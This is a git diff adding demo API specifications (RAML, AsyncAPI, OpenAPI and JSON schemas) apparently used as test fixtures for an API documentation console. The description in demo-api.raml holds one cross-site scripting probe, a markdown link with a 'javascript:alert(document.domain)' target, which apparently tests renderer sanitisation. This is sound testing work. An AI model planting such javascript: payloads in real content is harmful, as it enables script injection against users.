a/demo/apis/SE-19500/modules/canda-mule4-example-data-types/types/greeting-schema.json b/demo/apis/SE-19500/modules/canda-mule4-example-data-types/types/greeting-schema.json new file mode 100755 index 0000000..2d0498f --- /dev/null +++ b/demo/apis/SE-19500/modules/canda-mule4-example-data-types/types/greeting-schema.json @@ -0,0 +1,22 @@ +{ + "$schema": "http://json-schema.org/draft-04/schema#", + "description": "Describes simple greeting representation consisting of an ID and a message.", + "additionalProperties": false, + "type": "object", + "required": [ + "id", + "message" + ], + "properties": { + "id": { + "type": "string", + "minLength": 36, + "maxLength": 36, + "description": "The ID of the representation, a randomly generated UUID." + }, + "message": { + "type": "string", + "description": "The text message of the greeting." + } + } +} diff --git a/demo/apis/SE-19500/modules/canda-mule4-example-data-types/types/greetings-schema.json b/demo/apis/SE-19500/modules/canda-mule4-example-data-types/types/greetings-schema.json new file mode 100755 index 0000000..af94189 --- /dev/null +++ b/demo/apis/SE-19500/modules/canda-mule4-example-data-types/types/greetings-schema.json @@ -0,0 +1,34 @@ +{ + "$schema": "http://json-schema.org/draft-04/schema#", + "description": "Describes a collection of 0..n simple message representations consisting of an ID and a text.", + "additionalProperties": false, + "type": "object", + "required": [ + "greetings" + ], + "properties": { + "greetings": { + "type": "array", + "description": "Holds the collection of simple messages.", + "items": { + "type": "object", + "required": [ + "id", + "message" + ], + "properties": { + "id": { + "type": "string", + "minLength": 36, + "maxLength": 36, + "description": "The ID of the representation, a randomly generated UUID." + }, + "message": { + "type": "string", + "description": "The text of the message." + } + } + } + } + } +} \ No newline at end of file diff --git a/demo/apis/SE-19500/ref/companies-example.json b/demo/apis/SE-19500/ref/companies-example.json new file mode 100755 index 0000000..ebc7f6c --- /dev/null +++ b/demo/apis/SE-19500/ref/companies-example.json @@ -0,0 +1,14 @@ +{ + "companies": [ + { + "code": 2, + "name": "C & A Mode GmbH & Co. KG, Germany", + "companyType": "EU" + }, + { + "code": 11, + "name": "C & A Nederland", + "companyType": "EU" + } + ] +} \ No newline at end of file diff --git a/demo/apis/SE-19500/ref/companies-schema.json b/demo/apis/SE-19500/ref/companies-schema.json new file mode 100755 index 0000000..48367e4 --- /dev/null +++ b/demo/apis/SE-19500/ref/companies-schema.json @@ -0,0 +1,70 @@ +{ + "$schema": "http://json-schema.org/draft-04/schema#", + "description": "Describes the probably most simple representation of a CANDA company.", + "additionalProperties": true, + "definitions": {}, + "properties": { + "companies": { + "items": { + "additionalProperties": true, + "properties": { + "code": { + "type": "integer", + "minimum": 0, + "maximum": 99, + "description": "The code of the given company is the unique identifier of the entity." + }, + "name": { + "type": "string", + "maxLength": 50, + "description": "The legal name of the given company." + }, + "companyType": { + "anyOf": [ + { + "type": "string", + "maxLength": 10, + "description": "The legal name of the given company.", + "enum": [ + "EU" + ] + }, + { + "type": "string", + "description": "Any future added type", + "maxLength": 10 + } + ] + } + }, + "required": [ + "code", + "name" + ], + "type": "object" + }, + "type": "array" + }, + "companyType": { + "anyOf": [ + { + "type": "string", + "maxLength": 10, + "description": "The legal name of the given company.", + "enum": [ + "EU" + ] + }, + { + "type": "string", + "description": "Any future added type", + "maxLength": 10 + } + ] + } + }, + "required": [ + "companies" + ], + "type": "object" +} \ No newline at end of file diff --git a/demo/apis/Streetlights/Streetlights.yaml b/demo/apis/Streetlights/Streetlights.yaml new file mode 100644 index 0000000..a28d4c0 --- /dev/null +++ b/demo/apis/Streetlights/Streetlights.yaml @@ -0,0 +1,36 @@ +asyncapi: '2.0.0' +info: + title: Streetlights API + version: '1.0.0' + description: | + The Smartylighting Streetlights API allows you + to remotely manage the city lights. + license: + name: Apache 2.0 + url: 'https://www.apache.org/licenses/LICENSE-2.0' +servers: + mosquitto: + url: mqtt://test.mosquitto.org + protocol: mqtt +channels: + light/measured: + publish: + summary: Inform about environmental lighting conditions for a particular streetlight. + operationId: onLightMeasured + message: + name: LightMeasured + payload: + type: object + properties: + id: + type: integer + minimum: 0 + description: Id of the streetlight. + lumens: + type: integer + minimum: 0 + description: Light intensity measured in lumens. + sentAt: + type: string + format: date-time + description: Date and time when the message was sent. diff --git a/demo/apis/aap-1698/aap-1698.raml b/demo/apis/aap-1698/aap-1698.raml new file mode 100644 index 0000000..0ebcf3a --- /dev/null +++ b/demo/apis/aap-1698/aap-1698.raml @@ -0,0 +1,26 @@ +#%RAML 1.0 +title: AAP-1698 + +/working: + post: + body: + application/json: + type: object + properties: + userType: + type: + enum: [Admin, User, System] + required: false + +/not-working: + post: + body: + application/json: + type: object + properties: + mappers: + description: optional set of mapper types to use for handling the request. + type: array + items: + enum: [ "lookup","ml","fasttext"] + required: false \ No newline at end of file diff --git a/demo/apis/annotated-api/annotated-api.raml b/demo/apis/annotated-api/annotated-api.raml new file mode 100644 index 0000000..fca3e1c --- /dev/null +++ b/demo/apis/annotated-api/annotated-api.raml @@ -0,0 +1,82 @@ +#%RAML 1.0 +title: Illustrating annotations +mediaType: application/json + +annotationTypes: + annotationTest: nil + deprecated: string + experimental: nil | string + feedbackRequested: string? + testHarness: + type: string # This line can be omitted as it's the default type + badge: # This annotation type allows string values, too + clearanceLevel: + properties: + level: + enum: [ low, medium, high ] + required: true + signature: + pattern: "\\d{3}-\\w{12}" + required: true +types: + nilAnnotationType: + (annotationTest): + type: object + properties: + test: boolean + ErrorResource: + (deprecated): This resource type is deprecated and will be removed in the next version. + description: A response that is errored + type: object + properties: + error: + type: boolean + required: true + example: true + default: true + description: Indicate that the response is errored. + message: + type: string + description: The error message associated with the error. + example: <> + required: true + notRequiredRepeatable: + (annotationTest): + type: object + properties: + test: boolean + ComplexAnnotations: + (clearanceLevel): + level: high + signature: 230-ghtwvfrs1itr + type: object + properties: + test: string + ComboType: + (annotationTest): + (deprecated): This is deprecated annotation + (clearanceLevel): + level: low + signature: OtherSignature + type: object + properties: + test: string + NoAnnotations: + type: object + properties: + test: string +/groups: + (experimental): + (feedbackRequested): +/users: + (testHarness): usersTest + (badge): tested.gif + (clearanceLevel): + level: high + signature: 230-ghtwvfrs1itr + get: + (deprecated): This is deprecated annotation + (experimental): + (feedbackRequested): Feedback committed! + responses: + 200: diff --git a/demo/apis/anyOf/anyOf.yaml b/demo/apis/anyOf/anyOf.yaml new file mode 100644 index 0000000..736aa75 --- /dev/null +++ b/demo/apis/anyOf/anyOf.yaml @@ -0,0 +1,37 @@ +asyncapi: '2.0.0' +info: + title: AnyOf example + version: '1.0.0' + +channels: + test: + publish: + message: + $ref: '#/components/messages/testMessages' + +components: + messages: + testMessages: + payload: + anyOf: # anyOf in payload schema + - $ref: "#/components/schemas/objectWithKey" + - $ref: "#/components/schemas/objectWithKey2" + testMessage1: + payload: + $ref: "#/components/schemas/objectWithKey2" + + schemas: + objectWithKey: + type: object + properties: + key: + type: string + additionalProperties: false + objectWithKey2: + type: object + properties: + key2: + type: number + prop: + type: boolean + diff --git a/demo/apis/api-keys/api-keys.yaml b/demo/apis/api-keys/api-keys.yaml new file mode 100644 index 0000000..82b0c1d --- /dev/null +++ b/demo/apis/api-keys/api-keys.yaml @@ -0,0 +1,85 @@ +openapi: 3.0.0 + +info: + version: 1.0.0 + title: OAS API key API + +servers: + - url: https://{customerId}.saas-app.com:{port}/v2 + variables: + customerId: + default: demo + description: Customer ID assigned by the service provider + port: + enum: + - '443' + - '8443' + default: '443' + +components: + schemas: + Error: + type: object + properties: + name: + type: string + example: ServerException + message: + type: string + example: Some server error occurred + securitySchemes: + clientQuery: + type: apiKey + name: client_id + in: query + clientSecret: + type: apiKey + name: client_secret + in: header + clientCookie: + type: apiKey + name: client_secret + in: cookie + clientMulti: + type: apiKey + name: client_multi + in: header + +paths: + /query: + get: + security: + - clientQuery: [] + responses: + default: + description: Unexpected error + /header: + get: + security: + - clientSecret: [] + responses: + default: + description: Unexpected error + /cookie: + get: + security: + - clientCookie: [] + responses: + default: + description: Unexpected error + /junction: + get: + security: + - clientQuery: [] + clientMulti: [] + responses: + default: + description: Unexpected error + /split: + get: + security: + - clientQuery: [] + - clientMulti: [] + responses: + default: + description: Unexpected error diff --git a/demo/apis/apic-83/apic-83.raml b/demo/apis/apic-83/apic-83.raml new file mode 100644 index 0000000..0080d23 --- /dev/null +++ b/demo/apis/apic-83/apic-83.raml @@ -0,0 +1,32 @@ +#%RAML 1.0 +title: 00193743 + +types: + Email: + type: object + properties: + name: + type: string + subject: + type: string + sent: + type: datetime + + TestType: + properties: + name: string + + Emails: + type: array + items: Email + minItems: 1 + uniqueItems: true + + GoodEmails: + type: Email[] + minItems: 1 + + BadEmails: + type: array + items: Emails | TestType + minItems: 1 diff --git a/demo/appian-api/appian-api.raml b/demo/apis/appian-api/appian-api.raml similarity index 100% rename from demo/appian-api/appian-api.raml rename to demo/apis/appian-api/appian-api.raml diff --git a/demo/array-body/array-body.raml b/demo/apis/array-body/array-body.raml similarity index 100% rename from demo/array-body/array-body.raml rename to demo/apis/array-body/array-body.raml diff --git a/demo/async-api/async-api.yaml b/demo/apis/async-api/async-api.yaml similarity index 100% rename from demo/async-api/async-api.yaml rename to demo/apis/async-api/async-api.yaml diff --git a/demo/apis/demo-api/demo-api.raml b/demo/apis/demo-api/demo-api.raml new file mode 100644 index 0000000..99d3c9b --- /dev/null +++ b/demo/apis/demo-api/demo-api.raml @@ -0,0 +1,1391 @@ +#%RAML 1.0 +title: API body demo +version: v1 +baseUri: http://{instance}.domain.com/ + +mediaType: [application/json, application/xml] +protocols: [HTTP, HTTPS] + +description: | + This is a description of demo API. + + This is **markdown**. + + [evil markdown](javascript:alert(document.domain))xxxxxxxx + +baseUriParameters: + instance: + description: | + The execution environments. Can be one of: + - development + - staging + - qa∂ + - production + type: string + enum: [development, staging, qa, production] + pattern: (development|staging|qa|production) + default: production +annotationTypes: + MarkAnnotation: nil + deprecated: string + annotationTest: nil + clearanceLevel: + properties: + level: + enum: [ low, medium, high ] + required: true + signature: + pattern: "\\d{3}-\\w{12}" + required: true +uses: + ExampleType: resourceTypes/example-types.raml + myLib: library.raml + DemoTypes: library/demo-types.raml +types: + Image: !include resourceTypes/image.raml + Resource: !include resourceTypes/resource.raml + AppPerson: !include resourceTypes/app-person.raml + DemoPerson: !include types/DemoPerson.raml + Product: !include resourceTypes/product.raml + ErrorResource: + description: A response that is errored + type: object + properties: + error: + type: boolean + required: true + example: true + default: true + description: Indicate that the response is errored. + message: + type: string + description: The error message associated with the error. + required: true + EnurableType: + type: object + properties: + e1: + (MarkAnnotation): + (deprecated): | + This property is deprecated. + + Please, do not use it in new projects. + (clearanceLevel): + level: low + signature: 230-ghtwvfrs1itr + type: string + displayName: Enumerable 1 + description: | + Example enumerable type to test the documentation + element. + + It renders `Markdown` model. + enum: [v1, v2, v3, v4] + required: false + examples: + Ex1: v1 + EX2: v2 + pattern: "v[1-4]" + default: v1 + e2: + type: string + enum: [e1, e2, e3, e4] + required: true + example: e1 + ArrayType: + type: array + items: Image + description: | + Hello world + Feature: + description: A feature to test enum values in the URI parameters. + type: string + enum: + - A + - B + - C + Unionable: + type: ErrorResource | Product + PropertyUnion: + type: object + properties: + etag: + type: string + data: Feature | ErrorResource | Product + PropertyArray: + type: object + properties: + etag: + type: string + nextPageToken: + type: string + data: + type: array + items: Product + complex: + type: array + items: string | number | Product + ComplexRecursive: + type: object + properties: + iteration1: + properties: + images: + type: array + items: Image + userImage: + type: Image + properties: + options: + type: string | Product + user: + type: AppPerson + ieration2: + type: Product + properties: + images: + type: Image[] + ProcessVariableList: + type: object + properties: + //: any + example: | + { + "processVar1": "value1", + "processVar2": "value2" + } + Notification: + properties: + scalarArray: + required: true + type: array + items: integer + description: Integer array item type + displayName: Scalar array (integer) + otherScalar: + required: false + type: string[] + AnyType: any + NilType: nil + ScalarType: string + BooleanType: boolean + DescribedScalar: + type: string + description: This is a scalar with description + minLength: 1 + maxLength: 12 + Arrable2: + type: string[] + UnionArray: + type: Arrable2 | string + FilePropertyType: + type: object + properties: + filetype: + minLength: 100 + maxLength: 300 + required: false + type: file + fileTypes: + - image/png + - image/jpeg + FileType: + minLength: 1024 + maxLength: 2048 + required: true + type: file + fileTypes: + - application/mulesoft+modeling + - application/data-model + withEmbeddedType: + type: object + properties: + imageProperty: Image + other: string + withExtendedType: + type: Image + properties: + other: string + RecursiveShape: + (deprecated): This type is deprecated causes it throws errors. + type: object + properties: + id: string + relatedTo: + type: RecursiveShape + description: This is recursive. + apiTokens: # each is optional, not exclusive with anything + properties: + userToken: number + applicationToken?: number +resourceTypes: + ErrorredResource: + get: + ResourceNotFound: + type: ErrorredResource + get: + responses: + 404: + body: + application/json: + displayName: Not found response + type: ErrorResource + application/xml: + displayName: Not found response + type: !include schemas/error-response.xsd + example: !include examples/e404.xml + UnauthorizedResponse: + type: ErrorredResource + get: + responses: + 404: + body: + application/json: + displayName: Unauthorized response + type: ErrorResource + application/xml: + displayName: Unauthorized response + type: !include schemas/error-response.xsd + example: !include examples/e401.xml + RequestErrorResponse: + type: ErrorredResource + get: + responses: + 400: + description: The error response when one of the parameters is invalid and can't be parsed. Nothing can be done at the time except correcting the request to send valid data. + body: + application/json: + displayName: Invalid request + type: ErrorResource + application/xml: + displayName: Invalid request + type: !include schemas/error-response.xsd + example: !include examples/e400.xml + put: + responses: + 400: + description: The error response when one of the parameters is invalid and can't be parsed. Nothing can be done at the time except correcting the request to send valid data. + body: + application/json: + displayName: Invalid request + type: ErrorResource + application/xml: + displayName: Invalid request + type: !include schemas/error-response.xsd + example: !include examples/e400.xml +traits: + Paginated: !include traits/pagination.raml + Adminable: !include traits/adminable.raml + RateLimited: !include traits/rate-limited.raml +securitySchemes: + basic: !include securitySchemes/basic.raml + oauth_2_0: !include securitySchemes/oauth_2_0.raml + custom1: !include securitySchemes/x-custom.raml + custom2: !include securitySchemes/x-other.raml + custom3: !include securitySchemes/x-query-string.raml + pass_through: !include securitySchemes/passthrough.raml + basicWithDefaults: + type: Basic Authentication + describedBy: + headers: + Authorization: + type: string + default: test + oauth1: !include securitySchemes/oauth_1_0.raml + oauth1signature: !include securitySchemes/oauth_1_0_signature.raml + oauth1noSignature: !include securitySchemes/oauth_1_0_no-signature.raml + oauth1noSettings: !include securitySchemes/oauth_1_0_no-settings.raml + digest: + description: | + This API supports DigestSecurityScheme Authentication. + type: Digest Authentication + passthroughQueryString: !include securitySchemes/passthrough-querystring.raml + custom_scheme: + description: | + A custom security scheme for authenticating requests. + type: x-custom + displayName: RAML's custom scheme + describedBy: + headers: + SpecialToken: + description: | + Used to send a custom token. + type: string + queryString: + type: apiTokens + examples: + first: + value: + userToken: 1234 + applicationToken: 5678 + second: + value: + start: 1239874566 + page-size: 987321456 + responses: + 401: + description: | + Bad token. + 403: + oauth2: + type: OAuth 2.0 + displayName: Regular OAuth 2.0 definition + settings: + accessTokenUri: https://token.com + authorizationUri: https://auth.com + scopes: [profile, email] + describedBy: + queryParameters: + access_token: + type: string + description: Apply access token here. + headers: + Authorization: + type: string + oauth2grants: + type: OAuth 2.0 + displayName: Regular OAuth 2.0 definition + settings: + accessTokenUri: https://token.com + authorizationUri: https://auth.com + authorizationGrants: authorization_code + scopes: [profile, email] + describedBy: + queryParameters: + access_token: + type: string + description: Apply access token here. + headers: + Authorization: + type: string + oauth2Annotation: + type: OAuth 2.0 + displayName: OAuth 2.0 with annotation + settings: + (oauth-2-custom-settings): + # ignoreDefaultGrants: + authorizationGrants: [annotated_custom_grant, annotated_custom_grant2] + authorizationSettings: + queryParameters: + resource: + type: string + required: true + description: | + A resource ID that defines a domain of authorization. + displayName: Hello query parameeter + default: default + examples: + named: named example value + otherExample: test example value + pattern: "[a-zA-Z]+" + maxLength: 12 + minLength: 3 + numericParam: + type: number + minimum: 10 + maximum: 20 + multipleOf: 2 + format: float + required: false + example: 22 + dateParam: + type: date-only + required: false + repetableParam1: + type: string[] + required: false + repetableParam2: + type: array + items: integer + required: false + accessTokenSettings: + queryParameters: + queryTokenResource: string + detailedTokenResource: + type: number + description: some description + required: false + headers: + x-token-resource: + type: number + default: 123 + body: + bodyTokenResource: string + bodyDetailed: + type: boolean + required: true + displayName: Body detailed property + default: true + accessTokenUri: https://token.com + authorizationUri: https://auth.com + authorizationGrants: [authorization_code, password, client_credentials, implicit] + scopes: [profile, email] + describedBy: + queryParameters: + access_token: + type: string + description: Apply access token here. + oauth2queryDelivery: !include securitySchemes/oauth2-query-delivery.raml + oauth2headerDelivery: !include securitySchemes/oauth2-header-delivery.raml + oauth2noDelivery: !include securitySchemes/oauth2-no-delivery.raml + oauth2noGrants: !include securitySchemes/oauth2-no-grants.raml + oauth2pkce: !include securitySchemes/oauth2-pkce.raml + libOauth: myLib.oauthLib + +documentation: + - title: Test doc + content: Test content + + +/test-parameters/{feature}: + (deprecated): This endpoint is deprecated and will be removed. + securedBy: [libOauth] + uriParameters: + feature: + type: string + enum: + - A + - B + - C + get: + (deprecated): This method is deprecated and will be removed. + (clearanceLevel): + level: high + signature: 230-ghtwvfrs1itr + description: To test enum values in the URI parameters for inline type declaration. + queryParameters: + testRepeatable: + (deprecated): Test parameter will be removed in next version of the API. + required: true + type: string[] + example: [value1, value2] + numericRepeatable: + required: true + type: integer[] + examples: + Some-test-example: [123, 456] + Other-example: [1011, 1213] + notRequiredRepeatable: + (annotationTest): + type: array + items: date-only + required: false + /{typeFeature}: + (annotationTest): + (deprecated): This method will be removed in future release of the API. + uriParameters: + typeFeature: + (annotationTest): + type: Feature + get: + (deprecated): This endpoint is deprecated and will be removed. + description: To test enum values in the URI parameters for global type declaration. +/people: + displayName: People + type: RequestErrorResponse + is: [RateLimited] + get: + (annotationTest): + displayName: List people + description: Use this method to list all the people. + is: [Paginated: {resourceType: AppPerson}] + headers: + x-people-op-id: + (annotationTest): + type: string + pattern: ^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[4][0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12}$ + description: People ops ID. It is UUID v4 string + example: 9719fa6f-c666-48e0-a191-290890760b30 + post: + (deprecated): | + This method is not deprecated. And this is only an annotation test. + displayName: Create a person + description: Use this method to add new person + body: + application/json: + (deprecated): This response type is deprecated and soon will be replaced. + type: AppPerson + application/xml: + type: !include schemas/person.xsd + example: !include examples/person.xml + put: + displayName: Update a person + description: Updates the person in the datastore. + body: + application/json: + schema: !include schemas/person.json + example: !include examples/person.json + application/xml: + type: !include schemas/person.xsd + example: !include examples/person.xml + responses: + 204: + 200: + (deprecated): This response type is deprecated and soon will be replaced. + description: | + Success response for the body + headers: + X-Frame-Options: + type: string + examples: + Deny: DENY + SameOrigin: SAMEORIGIN + body: + application/json: + schema: !include schemas/person.json + example: !include examples/person.json + application/xml: + type: !include schemas/person.xsd + example: !include examples/person.xml + /{personId}: + securedBy: custom1 + type: ResourceNotFound + displayName: A person + description: The endpoint to access information about the person + uriParameters: + personId: + type: integer + required: true + description: The ID of the person in the system. It is generated by the database numeric value for the person. + example: 1234 + get: + displayName: Get a person + description: Returns a person + headers: + x-client-id: + (deprecated): This will be replaced + example: 123456-acme.client.com + description: The application id used to make a request. It can be obtained in the developer console. + type: string + required: true + x-people-op-id: + (annotationTest): + type: string + pattern: ^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[4][0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12}$ + description: People ops ID. It is UUID v4 string + example: 9719fa6f-c666-48e0-a191-290890760b30 + responses: + 200: + body: + application/json: + type: AppPerson + application/xml: + type: !include schemas/person.xsd + example: !include examples/person.xml + delete: + displayName: Remove a person + description: Removes the person from the datastore. This method do not returns any data in 200 response. + responses: + 204: + headers: + x-people-op-id: + (annotationTest): + type: string + pattern: ^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[4][0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12}$ + description: People ops ID. It is UUID v4 string + example: 9719fa6f-c666-48e0-a191-290890760b30 + put: + displayName: Update a person + description: Updates the person in the datastore. + queryParameters: + testPatam: string + body: + application/json: + type: AppPerson + description: Puts a person to the data store + application/xml: + type: !include schemas/person.xsd + example: !include examples/person.xml + responses: + 200: + headers: + x-people-op-id: + (annotationTest): + type: string + pattern: ^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[4][0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12}$ + description: People ops ID. It is UUID v4 string + example: 9719fa6f-c666-48e0-a191-290890760b30 +/products: + displayName: Products + description: The API is to be used to access data about the products. + type: RequestErrorResponse + post: + displayName: Create product + description: | + Creates a product in the store. + While creating a product the `id` and `etag` properties will be ignored. + + The endpoint will reject the request if exactly the same product is already defined in the + datastore (all properties of both objects equals). Newly created product is available + for listing but **it won't be available for ordering API** until it's availability is not set. + body: + application/json: + type: Product + application/xml: + type: !include schemas/product.xsd + example: !include examples/product.xml + responses: + 200: + body: + application/json: + type: Product + examples: + Product: + id: d697f5cea85011e680f576304dec7eb7 + name: Super product + quantity: 125 + unit: ml + upc: "123456789101" + available: true + etag: "W/\"686897696a7c876b7e\"" + OtherProduct: + id: 123e4567e89b12d3a456426655440000 + name: Acme Product + quantity: 1 + unit: kg + upc: "223456789101" + available: true + etag: "W/\"123456789\"" + application/xml: + type: !include schemas/product.xsd + example: !include examples/product.xml + 400: + description: The request has been rejected. Probably the product already exists in the datastore. +/orgs: + /{orgId}: + is: [RateLimited] + get: + displayName: Get organization + description: Returns an organization info. + responses: + 200: + body: + application/json: + type: ExampleType.Org + properties: + id: + type: string + description: UUID generated ID + example: + id: "12345" + onCall: + firstname: nico + lastname: ark + kind: AcmeAdmin + clearanceLevel: low + phone: "12321" + Head: + firstname: nico + lastname: ark + kind: AcmeManager + reports: + - + firstname: nico + lastname: ark + kind: admin + phone: "123-23" + put: + body: + application/json: + type: ExampleType.Org + properties: + id: + type: string + description: UUID generated ID + responses: + 200: + body: + application/json: + type: ExampleType.Org + /managers: + get: + responses: + 200: + body: + application/json: + type: ExampleType.Manager[] +/messages: + securedBy: [oauth_2_0] + post: + description: Create a new message + is: [Adminable] + body: + application/json: + type: object + properties: + receiver: + type: string + description: receiver of the message + required: true + body: + type: string + description: A message body + required: true + important: + type: boolean + description: If true then the message will be marked as important + default: false + required: true + get: + description: | + List user messages. It returns an array of messages for last of 7 days if + `since` property is not set. + You can use `since` and `until` query parameters to control messages time + span. + queryParameters: + until: + (annotationTest): + type: date-only + description: Date right limit of the messages query. + example: 2017-05-12 + since: + type: date-only + description: Date left limit of the messages query. + example: 2017-05-10 + responses: + 200: + body: + application/json: + type: array + items: !include resourceTypes/message-type.raml + example: !include examples/messages-example.json + /bulk: + post: + description: Bulk create messages. + is: [Adminable] + body: + application/json: + (annotationTest): + type: array + items: !include resourceTypes/message-sent-type.raml + examples: + Example1: !include examples/messages-sent-example.json +/arrayBody: + post: + body: + application/json: + (deprecated): This response type is deprecated and soon will be replaced. + description: | + This demonstrates a body as an Array + type: AppPerson[] +/schemaBody: + get: + responses: + 200: + body: + application/json: + example: | + { + "status":"success" + } +/no-desc: + get: + responses: + 200: + 405: + 201: + +/multipleTypeInheritance: + get: + description: | + The response body inherits the following types: + + - AppPerson + - AlertableAdmin + responses: + 200: + body: + application/json: + type: + - AppPerson + - ExampleType.AlertableAdmin +/typeFromLibraryEndpoint: + post: + body: + type: myLib.TypeFromLibray + responses: + 200: +/test: + post: + body: + type: Product + responses: + 200: + body: + type: AppPerson +/scalarArrays: + post: + body: + type: Notification +/notifications: + post: + body: + type: Notification +/authorization: + /basicauth: + get: + securedBy: [basic] + /basic-auth-with-defaults: + get: + securedBy: [basicWithDefaults] + /passthroogh: + securedBy: [pass_through] + get: + /oauth1: + get: + securedBy: [oauth1] + /oauth1-signature: + get: + securedBy: [oauth1signature] + /oauth1-nosignature: + get: + securedBy: [oauth1noSignature] + /oauth1-nosettings: + get: + securedBy: [oauth1noSettings] + /custom1: + get: + securedBy: [custom1] + /custom2: + get: + securedBy: [custom2] + /custom3: + get: + securedBy: [custom3] + /digest: + get: + securedBy: digest + /passthrough-query-string: + get: + securedBy: passthroughQueryString + /custom-query-string: + get: + securedBy: custom_scheme + /oauth2: + post: + securedBy: [oauth2] + /oauth2-with-annotations: + get: + securedBy: [oauth2Annotation] + /oauth2-with-grant-list: + get: + securedBy: [oauth2grants] + /oauth2-query-delivery: + get: + securedBy: [oauth2queryDelivery] + /oauth2-header-delivery: + get: + securedBy: [oauth2headerDelivery] + /oauth2-no-delivery: + get: + securedBy: [oauth2noDelivery] + /oauth2-no-grants: + get: + securedBy: [oauth2noGrants] + /oauth2-pkce: + get: + securedBy: [oauth2pkce] + /combo-types: + get: + securedBy: [basic, digest, passthroughQueryString, custom1, oauth2, oauth1] + /all-oauth2: + get: + securedBy: [oauth2, oauth2Annotation, oauth2grants, oauth2queryDelivery, oauth2headerDelivery, oauth2noDelivery, oauth2noGrants] + /nil-oauth2: + get: + securedBy: [null, oauth2] +/required-query-parameters: + get: + queryParameters: + requiredString: + type: string + required: true + +/optional-query-parameters: + get: + queryParameters: + requiredString: + type: string + required: false +/required-headers: + get: + headers: + requiredString: + type: string + required: true + +/optional-headers: + get: + headers: + requiredString: + type: string + required: false +/content-type: + post: + headers: + Content-Type: + default: application/json + body: + type: object + properties: + error: + type: boolean + default: false +/parameters: + get: + displayName: All parameter types + headers: + Accept: + default: application/json + description: Selectes the response's media type, when supported. + enum: + - application/json + - application/xml + - text/csv + required: false + x-required: + required: true + x-object-header: + type: object + properties: + key: string + value: + type: any + description: Any value + If-Modified-Since: + type: datetime + example: Sun, 28 Feb 2016 16:41:41 GMT + format: rfc2616 # this time it's required, otherwise, the example format is invalid + queryParameters: + unionable: + type: string | number + description: One of the two + example: 25 + default: no + complexUnionable: + type: Feature | Product + description: Super confusing for a query param + mixedUnionable: + type: Feature | string + description: At least one should work + combo: + type: string + default: Some value + description: A combo of all string properties + displayName: Combo (string) + enum: + - value 1 + - value 2 + - value 3 + - value 4 + - value 5 + - value 6 + - value 7 + - value 8 + - value 9 + - value 10 + examples: + Example 1: value 1 + Example 2: value 2 + maxLength: 100 + minLength: 1 + pattern: .* + required: true + comboNum: + type: number + default: 20 + description: A combo with a number type + displayName: Combo (number) + enum: + - 5 + - 10 + - 20 + - 40 + - 50 + - 75 + - 100 + examples: + Minimum: 5 + Maximum: 100 + minimum: 5 + maximum: 100 + multipleOf: 5 + format: int64 + birthday: + type: date-only + example: 2015-05-23 + lunchtime: + type: time-only + example: 12:30:00 + fireworks: + type: datetime-only + example: 2015-07-04T21:00:00 + created: + type: datetime + example: 2016-02-28T16:41:41.090Z + format: rfc3339 + userPicture: + type: file + fileTypes: ['image/jpeg', 'image/png'] + maxLength: 307200 + customFile: + type: file + fileTypes: ['*/*'] # any file type allowed + maxLength: 1048576 + aBoolean: + type: boolean + description: This is a boolean value without a default value. + displayName: Boolean + aBooleanWithDefault: + type: boolean + default: true + displayName: Boolean with default + description: This is a boolean value with default value. + nillable: + type: nil + description: This can be null + nillableUnion: + type: string | nil +/query-params: + /bool: + get: + queryParameters: + aBoolean: + type: boolean + description: This is a boolean value without a default value. + displayName: Boolean + aBooleanWithDefault: + type: boolean + default: true + displayName: Boolean with default + description: This is a boolean value with default value. + nillableBoolean: + type: boolean | nil + displayName: Boolean with nil + description: This is a boolean value with a nil union value. + stringBoolean: + type: boolean | string + displayName: Boolean with string + description: This is a boolean value with a string union value. + /string: + get: + queryParameters: + string: + type: string + description: Simple string + enum: + type: string + enum: [development, staging, qa, production] + description: Enum string + minMaxLnegth: + type: string + minLength: 5 + maxLength: 15 + description: Min 5 max 15 + patternLettersOnly: + type: string + pattern: '[a-zA-Z]*' + description: Letters only pattern + patternNumbersOnly: + type: string + pattern: '[0-9]*' + description: Number only pattern + displayName: + type: string + displayName: String 6 + description: With display name + notRequired: + type: string + required: false + description: Optional value + withDefault: + type: string + default: This is a default + description: Default value + withDefaultNotRequired: + type: string + default: This is a default + required: false + description: Default value and not required + stringUnionNumber: + type: string | number + description: Either string or number + withExamples: + type: string + examples: + Word 1: Option 1 + Word 2: Option 2 + Word 3: 123456 + description: String with examples. + anArray: + type: string[] + description: Array of strings. + /dates: + get: + queryParameters: + dateOnly: + type: date-only + description: Date only, like "2015-05-23" + timeOnly: + type: time-only + description: Time only, like "12:30:00" + dateTimeOnly: + type: datetime-only + description: Date and time only, like "2015-07-04T21:00:00" + rfc3339: + type: datetime + format: rfc3339 + description: Date and time, rfc3339 format, like "2016-02-28T16:41:41.090Z" + rfc2616: + type: datetime + format: rfc2616 + description: Date and time, rfc2616 format, like "Sun, 28 Feb 2016 16:41:41 GMT" + dateTimeNoFormat: + type: datetime + description: Date and time, assumed rfc3339 format, like "2016-02-28T16:41:41.090Z" + dateOnlyDefaultValue: + type: date-only + default: 2015-05-23 + description: Date only, with a default value. + timeOnlyDefaultValue: + type: time-only + default: 12:30:00 + description: Time only, with a default value. + rfc3339DefaultValue: + type: datetime + format: rfc3339 + default: 2016-02-28T16:41:41.090Z + description: Date and time, rfc3339 format, default value + rfc2616DefaultValue: + type: datetime + format: rfc2616 + default: Sun, 28 Feb 2016 16:41:41 GMT + description: Date and time, rfc2616 format, default value + dateTimeDefaultValue: + type: datetime + default: 2016-02-28T16:41:41.090Z + description: Date and time, with a default value. + dateTimeUnion: + type: datetime | string + description: Date and time union with string. + dateTimeNil: + type: datetime | nil + description: Required but nillable. + dateArray: + type: datetime[] + description: A list of datetime + /numbers: + get: + queryParameters: + simple: number + intFormat: + type: number + format: int + description: int format number + int8Format: + type: number + format: int8 + description: int8 format number + int16Format: + type: number + format: int16 + description: int16 format number + int32Format: + type: number + format: int32 + description: int32 format number + int64Format: + type: number + format: int64 + description: int64 format number + longFormat: + type: number + format: long + description: long format 